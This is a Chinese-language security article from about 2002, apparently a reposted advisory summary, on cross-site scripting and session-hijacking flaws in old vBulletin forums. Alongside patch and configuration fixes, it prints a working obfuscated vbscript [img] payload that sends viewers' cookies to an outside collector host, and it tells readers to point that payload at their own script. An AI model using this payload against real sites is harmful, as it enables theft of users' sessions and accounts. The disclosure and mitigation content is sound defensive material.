※黑客攻防指南※===>系统漏洞==>几个VBB的跨站脚本执行漏洞小结
几个VBB的跨站脚本执行漏洞小结

by Tear
http://www.javastore.net

http://security.nsfocus.com/showQuery.asp?bugID=2477描述如下:
vBulletin支持在帖子中用户使用[img]/[/img]标记插入图象连接,但它未对标记中的内容做充分过滤,这可能导致攻击者在此标记的内容中放入脚本代码,当其他用户浏览相关此连接的时候,脚本将在用户的浏览器中执行。攻击者可能借此得到用户基于COOKIE的认证信息。

代码:
--------------------------------------------------------------------------------

[img]vbscript:location.replace( chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+ chr(47)+chr(47)+chr(119)+chr(119)+chr(119)+ chr(46)+chr(105)+chr(103)+chr(110)+chr(105)+ chr(116)+chr(101)+chr(46)+chr(98)+chr(97)+ chr(114)+chr(114)+chr(121)+chr(115)+chr(119)+ chr(111)+chr(114)+chr(108)+chr(100)+chr(46)+ chr(110)+chr(101)+chr(116)+chr(47)+chr(116)+ chr(101)+chr(115)+chr(116)+chr(46)+chr(112)+ chr(104)+chr(112)+chr(63)+chr(99)+chr(61)+ escape(documents \.cookie) )[/img]

--------------------------------------------------------------------------------


上面描述的ASCII编码会自动转换为http://www.igngte.barrysworld.net/test.php?c=,可以把路径改为你收集脚本的位置。经过测试该问题除了存在于2.2.2和之前的版本,同时也存在于不是直接安装,而是由旧版本升级的2.2.3与2.2.4.

NSFOCUS提供的临时解决办法:
暂时禁止IMG标签或者立刻升级

如果你不能立刻升级这里有另外一种解决办法:
在forum/admin/functions.php中找到
1. "stripbrsfromcode('\\5')",
替换为
//"stripbrsfromcode('\\5')",

2. function stripbrsfromcode($foundcode) {
$foundcode = str_replace("\\\"","\"",$foundcode);
return "</normalfont><blockquote><pre><smallfont>代码:</smallfont><hr>" . str_replace("
", "", str_replace("
", "", $foundcode) ) . "<hr></pre><</blockquote>normalfont>";
}
替换为
//function stripbrsfromcode($foundcode) {
// $foundcode = str_replace("\\\"","\"",$foundcode);
// return "</normalfont><blockquote><pre><smallfont>代码:</smallfont><hr>" . str_replace("
", "", str_replace("<br //>", "", $foundcode) ) . "<hr></pre><</blockquote>normalfont>";//}

http://security.nsfocus.com/showQuery.asp?bugID=2466该问题在相关连接已有描述,漏洞发现者提供临时解决方法,在Vbulletin.com已经对该问题进行讨论,详细可见www.vbulletin.com/member。

session hijacking
登陆用户浏览论坛,连接会以http://somedomain/forum/showthread.php?s=1111111111111111111111111111111111111111&threadid=11111显示。由于暂时不了解情况,只能估计s=1111111111111111111111111111111111111111或者为cookies的hash,如果将URL直接发给对方,有可能造成对方以你的ID登陆,造成session hijacking

解决方法:
将以传递连接的时候使用http://somedomain/forum/showthread.php?threadid=11111,把中间的s=1111111111111111111111111111111111111111去掉,如果你是用php4.1.0以上版本可以在forum/admin/config.php的<?php后面加入:
if(!strstr("$_SERVER[PATH_TRANSLATED]", "$_SERVER[DOCUMENT_ROOT]")) {
die();
}
如果是较低版本则加入:
if(!strstr("$HTTP_SERVER_VARS[PATH_TRANSLATED]", "$HTTP_SERVER_VARS[DOCUMENT_ROOT]")) {
die();
}

另外还有二次注册的CSS:
详细参阅 www.enter.3322.net/cgi-bin/list.cgi
这里提供两种解决方法:
1.禁止在相关位置输入cookie字样(该措施作用不大)
2.修改程序多个模板,把相关的功能暂时屏蔽或禁止(建议)

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve